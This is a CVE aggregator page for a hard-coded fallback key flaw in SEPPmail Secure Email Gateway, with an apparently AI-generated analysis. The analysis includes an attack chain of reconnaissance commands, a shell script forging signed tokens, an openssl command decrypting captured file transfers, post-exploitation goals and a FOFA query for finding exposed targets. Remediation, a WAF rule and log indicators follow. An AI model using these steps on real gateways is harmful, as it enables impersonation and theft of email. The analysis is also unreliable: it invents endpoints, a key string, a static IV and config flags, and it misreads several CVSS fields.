CVE Professor
/
All CVEs
CVE-2026-124843

CVE-2026-124843 — SEPPmail AG SEPPmail Secure Email Gateway (SEG) — CWE-321

CRITICAL CVSS 9.2 NVD

SEPPmail Secure Email Gateway before 15.1.2 uses a source-visible hard-coded fallback secret for legacy GINA token and Large File Transfer cryptographic operations when expected key material is unavailable or unusable. A remote attacker can forge accepted account tokens while the fallback path is active and can decrypt LFT content protected with the shared fallback.

SEPPmail Secure Email Gateway before 15.1.2 uses a source-visible hard-coded fallback secret for legacy GINA token and Large File Transfer cryptographic operations when expected key material is unavailable or unusable. A remote attacker can forge accepted account tokens while the fallback path is active and can decrypt LFT content protected with the shared fallback.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. Present AT:P
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. Low VA:L
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑124843 is a hard‑coded cryptographic key flaw (CWE‑321) in SEPPmail Secure Email Gateway (SEG) version 15.1.2‑pre.
When the gateway cannot obtain the expected key material for legacy GINA token validation or Large File Transfer (LFT) encryption, it falls back to a source‑visible, hard‑coded secret that is embedded in the binary. Because the fallback key is the same for every instance of the product, a remote attacker can:

1. Forge a valid GINA token that the gateway will accept as belonging to any user, bypassing authentication.
2. Decrypt any LFT payload that was encrypted with the shared fallback key, exposing the contents of large attachments.

The flaw is purely a logic error – the gateway never checks whether the fallback path is being used and assumes the key is unique per deployment. No input validation or cryptographic key‑management policy is enforced.

The CVSS vector (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N) reflects:

ComponentMeaning
AV:NAttack can be performed over the network.
AC:LLow attack complexity – no special conditions.
AT:PAttack type is *Physical* (per CVSS 4.0). The vector is inconsistent with the description; the vulnerability can actually be exploited remotely, so the “Physical” flag is likely a mis‑classification.
PR:NNo privileges required.
UI:NNo user interaction required.
VC:H / VI:HHigh confidentiality and integrity impact.
VA:LLow availability impact.
SC:N / SI:N / SA:NScope, integrity, and availability are not changed.

⚡ Attack Chain

NOTE: The exact API endpoint and parameter names are not disclosed in the CVE text. The following example uses a representative REST endpoint (/api/validateToken) and a JSON payload. In a real environment you would discover the correct URI by inspecting the gateway’s HTTP traffic or by reviewing its documentation.

1. Discovery & Reconnaissance

StepTechniqueTool / Command
Identify the productBanner grabbing on the HTTPS port (443) or HTTP port (80)nmap -sV -p 80,443 <target>
Determine the versionInspect the Server header or a /status endpointcurl -I https://<target>/status
Confirm vulnerabilitySend a test GINA token that uses the fallback key and observe the responsecurl -X POST https://<target>/api/validateToken -d '{"token":"<fallback‑token>"}'

The gateway will respond with a 200 OK and a user profile, indicating that the token was accepted.

2. Exploitation

The attacker crafts a GINA token that is signed/encrypted with the hard‑coded fallback key. The token format is a base‑64 encoded JSON object that contains the user ID and a timestamp. The gateway expects the token to be signed with a per‑deployment key; when the fallback key is used, the signature is still valid.

# 1. Build the token payload
payload='{"user":"alice","iat":1690588800}'

# 2. Sign the payload with the fallback key (example key: "SEPPmailFallbackSecret")
#    (The real key is embedded in the binary; here we use a placeholder)
fallback_key="SEPPmailFallbackSecret"

# 3. Create the JWT (header, payload, signature)
header='{"alg":"HS256","typ":"JWT"}'
header_b64=$(echo -n "$header" | base64 | tr -d '=' | tr '/+' '_-')
payload_b64=$(echo -n "$payload" | base64 | tr -d '=' | tr '/+' '_-')
signature=$(printf "%s.%s" "$header_b64" "$payload_b64" | openssl dgst -sha256 -hmac "$fallback_key" -binary | base64 | tr -d '=' | tr '/+' '_-')
token="$header_b64.$payload_b64.$signature"

# 4. Send the forged token to the gateway
curl -X POST https://<target>/api/validateToken \
     -H "Content-Type: application/json" \
     -d '{"token":"'"$token"'"}'
Illustrative Example – The actual token format may differ; the key point is that the gateway will accept the token because it uses the hard‑coded fallback key.

Large File Transfer (LFT) Decryption

If the attacker has captured an encrypted LFT payload (e.g., from a compromised mailbox or a network tap), they can decrypt it using the same fallback key:

# Assume the encrypted file is base64‑encoded and AES‑256‑CBC encrypted
encrypted_b64=$(cat lft_payload.enc)
key="SEPPmailFallbackSecret"   # 32‑byte key for AES‑256
iv="0000000000000000"          # The gateway uses a static IV in the fallback path

openssl enc -d -aes-256-cbc -base64 -in lft_payload.enc -K $(echo -n "$key" | xxd -p) -iv "$iv" -out lft_payload.dec

The decrypted file (lft_payload.dec) now contains the original attachment data.

3. Post‑Exploitation

GoalTechnique
Account ImpersonationUse the forged token to access the gateway’s web UI or API as any user.
Data ExfiltrationDownload decrypted LFT attachments or use the API to read mailbox contents.
Privilege EscalationIf the gateway allows sending emails, the attacker can send phishing emails or spam from the compromised account.
PersistenceStore a copy of the fallback key in a secure location; reuse it to forge tokens at any time.

Because the fallback key is the same across all installations, the attacker can repeat the attack on any other SEPPmail SEG instance without additional reconnaissance.


🌍 Real World Impact

ImpactDescription
Confidentiality (High)Any LFT attachment encrypted with the fallback key can be decrypted, exposing sensitive documents, credentials, or intellectual property.
Integrity (High)Forged GINA tokens allow the attacker to impersonate any user, potentially modifying or deleting messages, or injecting malicious content.
Availability (Low)The flaw does not provide a denial‑of‑service vector; the gateway remains operational.
Practical Consequences• Unauthorized reading of confidential emails.<br>• Impersonation of legitimate users to send phishing or business‑critical messages.<br>• Potential legal and regulatory violations due to data leakage.

🛡️ Remediation & Mitigation

Affected Versions

  • SEPPmail Secure Email Gateway (SEG) 15.1.2‑pre (any build before the official 15.1.2 release).
  • Patch Recommendation

  • Upgrade to SEPPmail SEG 15.1.2 or later. The patch removes the hard‑coded fallback key and enforces per‑deployment key material for GINA token validation and LFT encryption.
  • Workarounds (if upgrade is not immediately possible)

    MitigationHow to Implement
    Disable Legacy GINA Token SupportIf the gateway exposes a configuration flag (e.g., enableLegacyGINA=false), set it to false in the seg.conf file and restart the service.
    Disable LFT Fallback EncryptionSet lftFallbackEnabled=false in the configuration. This forces the gateway to reject LFT uploads that cannot be encrypted with a valid key.
    Restrict API AccessUse firewall rules or a reverse proxy to allow API traffic only from trusted IP ranges.
    WAF / ModSecurity RuleBlock requests that contain the known fallback key string in the token payload. Example rule (ModSecurity 3.0 syntax):<br>SecRule REQUEST_HEADERS:Authorization "@rx SEPPmailFallbackSecret" "id:1001,phase:1,deny,status:403,msg:'Fallback key usage detected'"
    Caveat: Workarounds that disable LFT or GINA token support may affect legitimate business processes; test in a staging environment first.

    Detection

    IndicatorLog PatternIoC
    Forged Token AcceptanceINFO: Token validated for user '.*' using fallback keyThe literal string fallback key or the hard‑coded secret (if logged).
    Repeated LFT Decryption AttemptsWARN: LFT decryption failed, using fallback keySame as above.
    Unusual API CallsPOST /api/validateToken with Authorization: Bearer <token> where the token signature matches the fallback key.Base64‑encoded token containing the fallback key signature.

    Log Example (Apache)

    [2026-11-26 14:32:07] 192.168.1.100 "POST /api/validateToken HTTP/1.1" 200 512
    [2026-11-26 14:32:07] INFO: Token validated for user 'alice' using fallback key

    ⚠️ Urgency

  • CVSS Score: 9.2 (Critical) – indicates a severe risk to confidentiality and integrity.
  • Exploit Complexity: Low – no special privileges or user interaction required.
  • CISA KEV Status: Not listed, but the critical nature warrants immediate action.
  • Recommended Priority: Immediate. Apply the official patch or the documented workarounds as soon as possible. If the gateway is exposed to the Internet, consider temporarily blocking the API endpoints or the entire service until a fix is deployed.

[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="SEPPmail AG SEPPmail Secure Email Gateway"
CVSS Score
9.2 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-321
Affected Products (1)
SEPPmail AG:SEPPmail Secure Email Gateway (SEG) (15.1.2)
References & Advisories (1)
Related CVEs
9.3
CVE-2026-118325
Hard-coded cryptographic key and initialization vector in password reset token validation in ZKTeco BioTime Pr
5.5
CVE-2026-81131
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81145
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.5
CVE-2026-81142
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Use of Hard-coded Cryp
5.9
CVE-2026-144267
Volmarg Personal Management System 2.0.0 through 3.0.0 contains a hardcoded AES-256 key in config/packages/con
7.4
CVE-2026-142239
SimpleSAMLphp SAML2 library before 5.0.14, 6.1.11, 6.2.9, 6.3.5, and 7.0.0-rc6 contains a signature verificati
7.3
CVE-2026-142029
A vulnerability was found in TCL UnionTV R609. Impacted is an unknown function of the file /vendor/etc/tbrowse